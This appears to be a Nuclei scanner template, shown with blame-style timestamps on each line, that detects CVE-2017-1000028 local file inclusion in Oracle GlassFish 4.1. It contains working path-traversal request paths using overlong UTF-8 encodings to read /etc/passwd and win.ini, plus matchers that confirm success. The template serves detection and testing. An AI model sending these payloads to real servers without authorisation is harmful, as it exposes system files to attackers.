2021-02-25 09:07:22 +00:00
id : CVE-2017-1000028
2021-02-16 08:38:42 +00:00
info :
2022-06-09 20:35:21 +00:00
name : Oracle GlassFish Server Open Source Edition 4.1 - Local File Inclusion
2022-03-26 09:10:47 +00:00
author : pikpikcu,daffainfo
2021-08-19 14:44:46 +00:00
severity : high
2022-06-09 20:35:21 +00:00
description : Oracle GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated local file inclusion vulnerabilities that can be exploited by issuing specially crafted HTTP GET requests.
2022-03-26 09:10:47 +00:00
reference :
- https://www.exploit-db.com/exploits/45196
- https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18822
2022-05-17 09:18:12 +00:00
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
- https://www.exploit-db.com/exploits/45196/
2022-06-09 20:35:21 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-1000028
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-1000028
cwe-id : CWE-22
2023-07-11 19:49:27 +00:00
epss-score : 0.97522
cpe : cpe:2.3:a:oracle:glassfish_server:4.1:*:*:*:open_source:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : oracle
product : glassfish_server
tags : oracle,glassfish,lfi,edb,cve,cve2017
2021-02-25 09:07:22 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-08-19 14:44:46 +00:00
- method : GET
path :
- "{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
2022-03-26 09:10:47 +00:00
- "{{BaseURL}}/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini"
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2022-03-26 09:10:47 +00:00
matchers-condition : or
2021-08-19 14:44:46 +00:00
matchers :
2022-03-26 09:10:47 +00:00
- type : dsl
dsl :
- "regex('root:.*:0:0:', body)"
- "status_code == 200"
condition : and
2021-02-25 09:07:22 +00:00
2022-03-26 09:10:47 +00:00
- type : dsl
dsl :
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
condition : and